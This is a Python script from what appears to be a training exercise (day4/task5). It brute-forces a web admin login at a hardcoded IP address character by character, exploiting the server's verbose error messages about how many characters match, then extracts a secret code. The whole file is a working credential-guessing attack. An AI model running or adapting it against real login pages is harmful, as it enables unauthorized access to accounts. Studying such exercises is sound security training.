summaryrefslogtreecommitdiff
path: root/day4/task5/task5.py
blob: 5aa14db26d88beb4ebf5f9a2d4f62b4d96f70f81 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import re
import string


def brute_login(login_len, password):
    login = ''
    for _ in range(login_len):
        for char in login_alphabet:
            resp = requests.post(url, data={
                'login': (login + char).ljust(login_len),
                'password': password
            })
            try:
                if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login):
                    print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
                    login += char
                    break
            except IndexError:
                print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
                login += char
                break
        else:
            print('Ни один из символов алфавита не подошел.')
            quit()

    return login


def brute_password(pass_len, login):
    password = ''

    for _ in range(pass_len):
        for char in password_alphabet:
            resp = requests.post(url, data={
                'login': login,
                'password': (password + char).ljust(pass_len)
            })
            try:
                if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password):
                    print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
                    password += char
                    break
            except IndexError:
                print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
                password += char
                break
        else:
            print('Ни один из символов алфавита не подошел.')
            quit()

    return password


url = 'http://213.178.59.123:8000/admin_auth'
login_alphabet = string.printable
# Судя по тому, что возвращает страничка, когда введен правильный логин
# и в пароле правильное количество знаков, в пароле есть только цифры.
password_alphabet = string.digits

login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL)
password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL)

resp = requests.post(url, data={'login': '123', 'password': '123'})
login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3
real_login = brute_login(login_len, '123')
print(f'Логин подобран: {real_login}')

resp = requests.post(url, data={'login': real_login, 'password': '123'})
pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3
real_password = brute_password(pass_len, real_login)
print(f'Пароль подобран: {real_password}')

resp = requests.post(url, data={'login': real_login, 'password': real_password})
code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0]
print(f'Секретный код: {code}')